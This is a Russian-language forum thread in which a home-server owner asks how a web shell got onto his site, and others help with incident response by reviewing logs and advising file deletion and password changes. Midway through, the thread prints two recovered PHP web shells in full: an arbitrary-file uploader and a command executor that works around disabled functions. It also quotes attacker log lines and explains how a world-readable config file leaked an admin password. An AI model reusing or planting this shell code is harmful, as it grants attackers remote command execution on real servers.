Залили шелл

kat5566, http://www.mysql.ru/docs/man/Privileges_provided.html

Я так понял его залили через учётку админа на форуме. А пароль к учётке взяли из файла dop ban от мазданa [config.inc.php] так как права на этот файл стояли 777

kat5566, смотри логи apache/nginx/mysql, если баг в одном из веб-скрипотов, ты увидишь к какому файлу было много запросов, в mysql логах (если включено логирование ошибочных запросов) увидишь запросы, с помощью которых могли шелл залить
Доступ к VDS или что у тебя там есть только у тебя?

Тачка собственная, стоит дома на балконе. Я пока просто закрыл внешний доступ к портам ssh и mysql.

Тогда права доступа не при чем, скорей всего sql инъекцией залили.

Скорее не sql, а xss

Какие вам логи предоставить, что-бы можно было определить, как же всё таки так вышло?

xss скорее всего

В архив все пихай и на яндекс диск, apache nginx mysql

Вот  attack.zip ( 1,19 мегабайт ) Кол-во скачиваний: 18

kat5566, Логов апача за сегодняшний день недостаточно, посмотри дату создания файлов и присылай логи за этот день.

kat5566, Залей на ргхост,а то я скачать не могу\

Скачать не можешь, видимо потому что там в архиве сам ШЕЛЛ. ( Временно отключи антивирус.)

АГа, только логи за посл неделю скинь хотя бы


Выше писала что в 777 есть функции для залития и чтения. Держите


В остальных 2ух файлах тоже есть
Код:

if (isset($_REQUEST["upload"])){$dir=$_REQUEST["uploadDir"];if (phpversion()<'4.1.0'){$file=$HTTP_POST_FILES["file"]["name"];@move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"],$dir."/".$file) or die();}else{$file=$_FILES["file"]["name"];@move_uploaded_file($_FILES["file"]["tmp_name"],$dir."/".$file) or die();}@chmod($dir."/".$file,0755);echo "File uploaded";}else {echo "<form action=".$_SERVER["PHP_SELF"]." method=POST enctype=multipart/form-data><input type=hidden name=MAX_FILE_SIZE value=1000000000><b>sqlmap file uploader</b><br><input name=file type=file><br>to directory: <input type=text name=uploadDir value=/var/www/html/> <input type=submit name=upload value=upload></form>";}?>

Код:

<?php $c=$_REQUEST["cmd"];@set_time_limit(0);@ignore_user_abort(1);@ini_set('max_execution_time',0);$z=@ini_get('disable_functions');if(!empty($z)){$z=preg_replace('/[, ]+/',',',$z);$z=explode(',',$z);$z=array_map('trim',$z);}else{$z=array();}$c=$c." 2>&1\n";function f($n){global $z;return is_callable($n)and!in_array($n,$z);}if(f('system')){ob_start();system($c);$w=ob_get_contents();ob_end_clean();}elseif(f('proc_open')){$y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);$w=NULL;while(!feof($t[1])){$w.=fread($t[1],512);}@proc_close($y);}elseif(f('shell_exec')){$w=shell_exec($c);}elseif(f('passthru')){ob_start();passthru($c);$w=ob_get_contents();ob_end_clean();}elseif(f('popen')){$x=popen($c,r);$w=NULL;if(is_resource($x)){while(!feof($x)){$w.=fread($x,512);}}@pclose($x);}elseif(f('exec')){$w=array();exec($c,$w);$w=join(chr(10),$w).chr(10);}else{$w=0;}print "<pre>".$w."</pre>";?>

Удаляйте файлы, меняйте пароли, смотрите в течении 30 дней просто глазком логи



Еще вот

185.10.181.243 - - [14/Dec/2015:00:20:00 +0600] "GET /555.php?act=f&f=tmpuhzcm.php&d=%2Fvar%2Fwww%2Fhtml& HTTP/1.1" 200 4445 "http://blkgames.ru/555.php?" "Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36"

Видимо еще есть файлы, и их много 555.php///
999.php
185.10.181.243 - - [14/Dec/2015:00:11:59 +0600] "POST /888.php HTTP/1.1" 200 4762 "http://blkgames.ru/888.php" "Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36"

 apache.zip ( 7,17 мегабайт ) Кол-во скачиваний: 5

Спасибо, я это видел как бы... но так как не совсем разбираюсь в логах и вообще в php. Ничего не понял.
Кстате файл 777. Лежал в дериктории форума, его залили на форум с помощью учётки админа форума. А доступ к учётке получили через маздановский скрипт на котором были права 777... у меня там $dopban_sign = passforum (то есть пароль как от учётки на форуме.)

из всего этого я сделал вывод что если на маздановский скрипт config.inc.php стоят права 777 его можно прочесть.

Как то так...

И вообще вот ссылка на форум где человек, который залил шелл выложил все скрины взлома.

kat5566, XF случайно не стоит?

Расшифруй пожалуйста что такое XF? Не понял просто что это...

XenForo, IPB = Invision Po...

Нет не стоит. Я уже вообще избавился от форума, всю дерикторию с форумом /del
Он мне как бы не нужен был... я так чисто ради интереса ставил...